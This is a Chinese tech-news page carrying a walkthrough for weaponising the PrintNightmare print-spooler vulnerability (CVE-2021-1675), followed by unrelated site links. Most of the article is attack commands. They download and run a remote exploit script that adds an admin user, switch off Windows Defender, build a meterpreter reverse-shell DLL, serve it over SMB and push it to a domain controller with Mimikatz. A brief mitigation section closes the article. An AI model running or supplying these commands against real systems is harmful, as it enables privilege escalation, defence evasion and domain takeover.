当前位置: 首页 > news >正文

从本地提权到域控沦陷:CVE-2021-1675 PrintNightmare漏洞武器化实战剖析

1. PrintNightmare漏洞背景与原理剖析

Windows打印服务(Print Spooler)是操作系统中负责管理打印任务的核心组件,自Windows NT时代就存在于系统中。2021年曝光的CVE-2021-1675漏洞之所以被称为"PrintNightmare",是因为它允许攻击者通过远程代码执行(RCE)完全控制系统。这个漏洞的本质在于驱动程序安装验证机制的缺失——攻击者可以绕过安全校验,强制加载恶意驱动程序。

实际测试中发现,当攻击者调用RpcAddPrinterDriverExAPI时,通过特定参数组合(如设置APD_INSTALL_WARNED_DRIVER标志)可以跳过数字签名验证。更危险的是,利用SMB协议共享恶意DLL时,系统会自动以SYSTEM权限加载该文件。我在复现过程中注意到,即使目标系统启用了UAC保护,这个漏洞依然有效。

2. 本地提权实战操作指南

2.1 环境准备与检测

首先需要确认目标系统的打印服务状态。在CMD中执行:

sc query spooler

如果服务未运行,可通过以下命令启动:

net start spooler

推荐使用PowerShell脚本进行快速检测:

$service = Get-Service -Name Spooler if($service.Status -ne 'Running') { Write-Warning "Print Spooler未运行!" } else { Write-Host "[+] 存在漏洞的服务正在运行" -ForegroundColor Green }

2.2 PowerShell自动化利用

最流行的利用脚本是Caleb Stewart开发的版本:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1') Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"

这个脚本会自动完成以下操作:

  1. 通过RPC连接打印服务
  2. 上传恶意驱动程序(默认使用内存中的payload)
  3. 创建具有管理员权限的新用户

我在Windows 10 20H2上测试时发现,如果目标启用了Windows Defender,需要先禁用实时防护:

Set-MpPreference -DisableRealtimeMonitoring $true

3. 横向移动与域控攻陷

3.1 通过SMB投递恶意载荷

当获得域成员权限后,可以针对域控制器发起攻击。首先准备一个反向Shell的DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll

然后搭建SMB共享(建议使用Impacket工具包):

impacket-smbserver share /tmp -smb2support

3.2 利用Mimikatz模块攻击

Gentil Kiwi开发的Mimikatz特别适合域环境攻击:

mimikatz# misc::printnightmare /server:dc01 /library:\\192.168.1.100\share\evil.dll

这个命令会:

  1. 通过RPC连接域控的打印服务
  2. 强制加载共享目录中的DLL
  3. 在SYSTEM上下文执行代码

实测中发现,如果遇到RPC_S_ACCESS_DENIED错误,可以尝试添加域管理员凭据:

$cred = Get-Credential Invoke-Nightmare -RemoteHost "dc01" -DriverPath "\\192.168.1.100\share\payload.dll" -Credential $cred

4. 防御措施与缓解方案

4.1 紧急处置方案

最直接的缓解方法是禁用打印服务:

Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled

对于域环境,可以通过组策略统一配置:

计算机配置 > 管理模板 > 打印机 > 不允许安装使用内核模式驱动程序的打印机

4.2 长期防护建议

微软官方补丁应优先安装,但需要注意:

  • KB5004945(2021年7月补丁)最初存在绕过问题
  • 必须同时安装KB5005565和KB5005566才能完全修复

企业环境还应实施:

  1. 网络分段,限制SMB协议的访问范围
  2. 启用LSA保护防止凭据转储
  3. 部署EDR解决方案监控可疑的打印服务调用

在多次红队演练中,我们发现及时更新系统补丁的组织能够有效阻断这类攻击。而对于必须使用打印服务的企业,建议部署专用的打印服务器,并将其与核心域控隔离。

http://www.jsqmd.com/news/1203041/

相关文章:

  • 终极指南:10分钟掌握stb单文件库,让C/C++开发效率提升300%
  • GoF设计模式——责任链模式
  • 本地离线电脑自动化助手,OpenClaw Win11 全版本适配指南(含安装包)
  • 快速提升编程能力:Algorithms-Leetcode-Javascript 中的经典算法与解题技巧
  • Cursor重构不是魔法——它依赖这6类代码特征才能100%安全,你写的代码达标了吗?
  • 美度中国官方售后服务中心|服务热线及完整地址权威信息声明(2026年7月最新) - 亨得利官方服务中心
  • Vue+Ant Design实现动态多屏视频监控布局
  • 雅典中国官方售后服务中心|服务热线及官方维修地址权威信息声明(2026年7月最新) - 亨得利官方服务中心
  • Eclipse IDE for Java EE 2024-03 最新版:从官网下载到环境配置的完整指南
  • 2026北京香奈儿回收避坑指南:闲置香奈儿变现选毓典奢品汇,避开各类回收套路 - 旧奢新值
  • 推荐一家靠谱的共相母线槽生产厂家, 工程配电选型可参考 - 企师傅推荐官
  • 5步掌握FreeMoCap:免费开源运动捕捉系统完整指南
  • BrachioGraph进阶开发:如何为绘图仪添加新功能与扩展模块
  • LabVIEW数据存储:TDM与TDMS格式深度对比与应用指南
  • SingGuard-8b API完全指南:如何集成到现有AI应用
  • PID控制算法入门与参数整定实战指南
  • 2026年7月 口碑好的 滕州养老院品牌全览 最新正规机构排 行名单 - 奔跑123
  • Hermes Agent跨版本迁移:GitLab 11→18与Redmine 4→6双系统升级实战
  • PurpleAdmin与Gulp工作流:自动化构建和开发效率提升指南
  • 头部GEO与SEO服务商对比盘点:国内外机构全解析,领跑者核心优势何在 - GEO优化
  • 从入门到精通:wild-wild-path查询字符串语法完全指南
  • 工业模拟输入模块的三级防护设计与EMC实践
  • 2026北京爱马仕回收避坑指南:为什么出爱马仕包袋客户都信赖毓典奢品汇?看完少亏损 - 旧奢新值
  • UE5开发工作站硬件配置全攻略:从CPU、GPU到存储的选型与优化
  • Java BigDecimal深度解析:从构造陷阱到财务计算实战
  • 【SLAM】从卡尔曼滤波到非线性优化:状态估计的演进与选择
  • Copilot免费版还能用多久?基于GitHub最新ToS条款与服务端日志分析的3个月倒计时预警
  • HEALPix C++库安装指南:从依赖配置到性能调优
  • 从《寂静的春天》到现代启示录:技术视角下的生态寓言与翻译实践
  • 2026北京名表回收避坑指南:为什么卖表老客户都优先选毓典奢品汇?看完不踩亏 - 旧奢新值